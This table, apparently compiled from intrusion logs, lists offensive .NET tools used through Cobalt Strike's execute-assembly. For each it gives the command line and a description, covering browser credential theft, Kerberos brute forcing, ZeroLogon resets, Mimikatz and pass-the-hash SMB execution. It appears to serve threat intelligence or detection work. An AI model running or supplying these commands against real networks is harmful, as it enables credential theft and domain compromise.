Tool Name and Github Link	COBALT STRIKE BEACON LOG	Tool Description
SharpWeb	execute-assembly /home/user/Desktop/cobalt/Signature_Tools/exec-ass/SharpWeb.exe all	.NET 2.0 CLR project to retrieve saved browser credentials from Google Chrome, Mozilla Firefox and Microsoft Internet Explorer/Edge.
SharpSniper	execute-assembly /home/wevvewe/Desktop/working/Tools/exec-ass/SharpSniper.exe Angel Administrator <redicted>	Find specific users in active directory via their username and logon IP address
SharpShares	execute-assembly /home/user/TOOLS/2/SharpShares.exe shares	Enumerate all network shares in the current domain. Also, can resolve names to IP addresses.
SharpChrome	execute-assembly /home/user/Desktop/cobalt/Signature_Tools/exec-ass/SharpChrome.exe logins /showall	SharpDPAPI is a C# port of some Mimikatz DPAPI functionality.
Rubeus	execute-assembly Rubeus.exe brute /users:C:\ProgramData\user.txt /password:C:\ProgramData\pass.txt /dc:<redicted>	Rubeus is a C# toolset for raw Kerberos interaction and abuses. Rubeus (like any attacker toolset) can be detected in a number of methods, either from the host, network, or domain perspectives.
SharpView	execute-assembly SharpView.exe Get-Domain	C# implementation of harmj0y's PowerView
Net-GPPPassword	execute-assembly C:\soft\Net-GPPPassword\Net-GPPPassword.exe	.NET implementation of Get-GPPPassword. Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
SharpZeroLogon	execute-assembly C:\soft\SharpZeroLogon.exe <redicted> -reset	Reworked version of NCC Group's [SharpZeroLogon](https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon) for .NET Framework 3.5
Seatbelt	execute-assembly C:\soft\Seatbelt/Seatbelt.exe -group=all -outputfile="C:\ProgramData\seatinfo.txt"	Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.
SafetyKatz	execute-assembly /home/user/Desktop/cobalt/Signature_Tools/exec-ass/SafetyKatz.exe	SafetyKatz is a combination of slightly modified version of @gentilkiwi's Mimikatz project and @subTee's .NET PE Loader
Sharp-SMBExec	execute-assembly /home/user/Desktop/SharpTools/Sharp-SMBExec.exe hash:<redacted> username:DC$ domain:. target:<redicted>command:rundll32 C:\x64.dll entryPoint -debug	SMBExec C# module. Sharp-SMBExec.exe hash:"hash" username:"username" domain:"domain.tld" target:"target.domain.tld" command:"command"
